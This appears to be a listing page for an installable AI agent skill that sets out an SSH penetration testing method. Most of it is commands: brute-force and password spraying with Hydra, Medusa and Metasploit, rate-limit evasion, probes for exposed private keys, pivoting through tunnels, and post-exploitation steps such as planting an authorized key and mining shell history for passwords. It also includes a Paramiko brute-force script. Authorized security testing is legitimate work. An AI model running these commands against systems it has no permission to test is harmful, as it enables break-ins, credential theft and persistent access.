This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
Add this skill
npx mdskills install sickn33/ssh-penetration-testingComprehensive penetration testing guide with detailed commands, examples, and methodologies across 10 phases
1---2name: SSH Penetration Testing3description: This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.4metadata:5 author: zebbern6 version: "1.1"7---89# SSH Penetration Testing1011## Purpose1213Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.1415## Prerequisites1617### Required Tools18- Nmap with SSH scripts19- Hydra or Medusa for brute-forcing20- ssh-audit for configuration analysis21- Metasploit Framework22- Python with Paramiko library2324### Required Knowledge25- SSH protocol fundamentals26- Public/private key authentication27- Port forwarding concepts28- Linux command-line proficiency2930## Outputs and Deliverables31321. **SSH Enumeration Report** - Versions, algorithms, configurations332. **Credential Assessment** - Weak passwords, default credentials343. **Vulnerability Assessment** - Known CVEs, misconfigurations354. **Tunnel Documentation** - Port forwarding configurations3637## Core Workflow3839### Phase 1: SSH Service Discovery4041Identify SSH services on target networks:4243```bash44# Quick SSH port scan45nmap -p 22 192.168.1.0/24 --open4647# Common alternate SSH ports48nmap -p 22,2222,22222,2200 192.168.1.1004950# Full port scan for SSH51nmap -p- --open 192.168.1.100 | grep -i ssh5253# Service version detection54nmap -sV -p 22 192.168.1.10055```5657### Phase 2: SSH Enumeration5859Gather detailed information about SSH services:6061```bash62# Banner grabbing63nc 192.168.1.100 2264# Output: SSH-2.0-OpenSSH_8.4p1 Debian-56566# Telnet banner grab67telnet 192.168.1.100 226869# Nmap version detection with scripts70nmap -sV -p 22 --script ssh-hostkey 192.168.1.1007172# Enumerate supported algorithms73nmap -p 22 --script ssh2-enum-algos 192.168.1.1007475# Get host keys76nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.1007778# Check authentication methods79nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.10080```8182### Phase 3: SSH Configuration Auditing8384Identify weak configurations:8586```bash87# ssh-audit - comprehensive SSH audit88ssh-audit 192.168.1.1008990# ssh-audit with specific port91ssh-audit -p 2222 192.168.1.1009293# Output includes:94# - Algorithm recommendations95# - Security vulnerabilities96# - Hardening suggestions97```9899Key configuration weaknesses to identify:100- Weak key exchange algorithms (diffie-hellman-group1-sha1)101- Weak ciphers (arcfour, 3des-cbc)102- Weak MACs (hmac-md5, hmac-sha1-96)103- Deprecated protocol versions104105### Phase 4: Credential Attacks106107#### Brute-Force with Hydra108109```bash110# Single username, password list111hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100112113# Username list, single password114hydra -L users.txt -p Password123 ssh://192.168.1.100115116# Username and password lists117hydra -L users.txt -P passwords.txt ssh://192.168.1.100118119# With specific port120hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100121122# Rate limiting evasion (slow)123hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100124125# Verbose output126hydra -l admin -P passwords.txt -vV ssh://192.168.1.100127128# Exit on first success129hydra -l admin -P passwords.txt -f ssh://192.168.1.100130```131132#### Brute-Force with Medusa133134```bash135# Basic brute-force136medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh137138# Multiple targets139medusa -H targets.txt -u admin -P passwords.txt -M ssh140141# With username list142medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh143144# Specific port145medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222146```147148#### Password Spraying149150```bash151# Test common password across users152hydra -L users.txt -p Summer2024! ssh://192.168.1.100153154# Multiple common passwords155for pass in "Password123" "Welcome1" "Summer2024!"; do156 hydra -L users.txt -p "$pass" ssh://192.168.1.100157done158```159160### Phase 5: Key-Based Authentication Testing161162Test for weak or exposed keys:163164```bash165# Attempt login with found private key166ssh -i id_rsa user@192.168.1.100167168# Specify key explicitly (bypass agent)169ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100170171# Force password authentication172ssh -o PreferredAuthentications=password user@192.168.1.100173174# Try common key names175for key in id_rsa id_dsa id_ecdsa id_ed25519; do176 ssh -i "$key" user@192.168.1.100177done178```179180Check for exposed keys:181182```bash183# Common locations for private keys184~/.ssh/id_rsa185~/.ssh/id_dsa186~/.ssh/id_ecdsa187~/.ssh/id_ed25519188/etc/ssh/ssh_host_*_key189/root/.ssh/190/home/*/.ssh/191192# Web-accessible keys (check with curl/wget)193curl -s http://target.com/.ssh/id_rsa194curl -s http://target.com/id_rsa195curl -s http://target.com/backup/ssh_keys.tar.gz196```197198### Phase 6: Vulnerability Exploitation199200Search for known vulnerabilities:201202```bash203# Search for exploits204searchsploit openssh205searchsploit openssh 7.2206207# Common SSH vulnerabilities208# CVE-2018-15473 - Username enumeration209# CVE-2016-0777 - Roaming vulnerability210# CVE-2016-0778 - Buffer overflow211212# Metasploit enumeration213msfconsole214use auxiliary/scanner/ssh/ssh_version215set RHOSTS 192.168.1.100216run217218# Username enumeration (CVE-2018-15473)219use auxiliary/scanner/ssh/ssh_enumusers220set RHOSTS 192.168.1.100221set USER_FILE /usr/share/wordlists/users.txt222run223```224225### Phase 7: SSH Tunneling and Port Forwarding226227#### Local Port Forwarding228229Forward local port to remote service:230231```bash232# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server233234# Access internal web server through SSH235ssh -L 8080:192.168.1.50:80 user@192.168.1.100236# Now access http://localhost:8080237238# Access internal database239ssh -L 3306:192.168.1.50:3306 user@192.168.1.100240241# Multiple forwards242ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100243```244245#### Remote Port Forwarding246247Expose local service to remote network:248249```bash250# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server251252# Expose local web server to remote253ssh -R 8080:localhost:80 user@192.168.1.100254# Remote can access via localhost:8080255256# Reverse shell callback257ssh -R 4444:localhost:4444 user@192.168.1.100258```259260#### Dynamic Port Forwarding (SOCKS Proxy)261262Create SOCKS proxy for network pivoting:263264```bash265# Create SOCKS proxy on local port 1080266ssh -D 1080 user@192.168.1.100267268# Use with proxychains269echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf270proxychains nmap -sT -Pn 192.168.1.0/24271272# Browser configuration273# Set SOCKS proxy to localhost:1080274```275276#### ProxyJump (Jump Hosts)277278Chain through multiple SSH servers:279280```bash281# Jump through intermediate host282ssh -J user1@jump_host user2@target_host283284# Multiple jumps285ssh -J user1@jump1,user2@jump2 user3@target286287# With SSH config288# ~/.ssh/config289Host target290 HostName 192.168.2.50291 User admin292 ProxyJump user@192.168.1.100293```294295### Phase 8: Post-Exploitation296297Activities after gaining SSH access:298299```bash300# Check sudo privileges301sudo -l302303# Find SSH keys304find / -name "id_rsa" 2>/dev/null305find / -name "id_dsa" 2>/dev/null306find / -name "authorized_keys" 2>/dev/null307308# Check SSH directory309ls -la ~/.ssh/310cat ~/.ssh/known_hosts311cat ~/.ssh/authorized_keys312313# Add persistence (add your key)314echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys315316# Extract SSH configuration317cat /etc/ssh/sshd_config318319# Find other users320cat /etc/passwd | grep -v nologin321ls /home/322323# History for credentials324cat ~/.bash_history | grep -i ssh325cat ~/.bash_history | grep -i pass326```327328### Phase 9: Custom SSH Scripts with Paramiko329330Python-based SSH automation:331332```python333#!/usr/bin/env python3334import paramiko335import sys336337def ssh_connect(host, username, password):338 """Attempt SSH connection with credentials"""339 client = paramiko.SSHClient()340 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())341342 try:343 client.connect(host, username=username, password=password, timeout=5)344 print(f"[+] Success: {username}:{password}")345 return client346 except paramiko.AuthenticationException:347 print(f"[-] Failed: {username}:{password}")348 return None349 except Exception as e:350 print(f"[!] Error: {e}")351 return None352353def execute_command(client, command):354 """Execute command via SSH"""355 stdin, stdout, stderr = client.exec_command(command)356 output = stdout.read().decode()357 errors = stderr.read().decode()358 return output, errors359360def ssh_brute_force(host, username, wordlist):361 """Brute-force SSH with wordlist"""362 with open(wordlist, 'r') as f:363 passwords = f.read().splitlines()364365 for password in passwords:366 client = ssh_connect(host, username, password.strip())367 if client:368 # Run post-exploitation commands369 output, _ = execute_command(client, 'id; uname -a')370 print(output)371 client.close()372 return True373 return False374375# Usage376if __name__ == "__main__":377 target = "192.168.1.100"378 user = "admin"379380 # Single credential test381 client = ssh_connect(target, user, "password123")382 if client:383 output, _ = execute_command(client, "ls -la")384 print(output)385 client.close()386```387388### Phase 10: Metasploit SSH Modules389390Use Metasploit for comprehensive SSH testing:391392```bash393# Start Metasploit394msfconsole395396# SSH Version Scanner397use auxiliary/scanner/ssh/ssh_version398set RHOSTS 192.168.1.0/24399run400401# SSH Login Brute-Force402use auxiliary/scanner/ssh/ssh_login403set RHOSTS 192.168.1.100404set USERNAME admin405set PASS_FILE /usr/share/wordlists/rockyou.txt406set VERBOSE true407run408409# SSH Key Login410use auxiliary/scanner/ssh/ssh_login_pubkey411set RHOSTS 192.168.1.100412set USERNAME admin413set KEY_FILE /path/to/id_rsa414run415416# Username Enumeration417use auxiliary/scanner/ssh/ssh_enumusers418set RHOSTS 192.168.1.100419set USER_FILE users.txt420run421422# Post-exploitation with SSH session423sessions -i 1424```425426## Quick Reference427428### SSH Enumeration Commands429430| Command | Purpose |431|---------|---------|432| `nc <host> 22` | Banner grabbing |433| `ssh-audit <host>` | Configuration audit |434| `nmap --script ssh*` | SSH NSE scripts |435| `searchsploit openssh` | Find exploits |436437### Brute-Force Options438439| Tool | Command |440|------|---------|441| Hydra | `hydra -l user -P pass.txt ssh://host` |442| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |443| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |444| Metasploit | `use auxiliary/scanner/ssh/ssh_login` |445446### Port Forwarding Types447448| Type | Command | Use Case |449|------|---------|----------|450| Local | `-L 8080:target:80` | Access remote services locally |451| Remote | `-R 8080:localhost:80` | Expose local services remotely |452| Dynamic | `-D 1080` | SOCKS proxy for pivoting |453454### Common SSH Ports455456| Port | Description |457|------|-------------|458| 22 | Default SSH |459| 2222 | Common alternate |460| 22222 | Another alternate |461| 830 | NETCONF over SSH |462463## Constraints and Limitations464465### Legal Considerations466- Always obtain written authorization467- Brute-forcing may violate ToS468- Document all testing activities469470### Technical Limitations471- Rate limiting may block attacks472- Fail2ban or similar may ban IPs473- Key-based auth prevents password attacks474- Two-factor authentication adds complexity475476### Evasion Techniques477- Use slow brute-force: `-t 1 -w 5`478- Distribute attacks across IPs479- Use timing-based enumeration carefully480- Respect lockout thresholds481482## Troubleshooting483484| Issue | Solutions |485|-------|-----------|486| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |487| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |488| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |489
Full transparency — inspect the skill content before installing.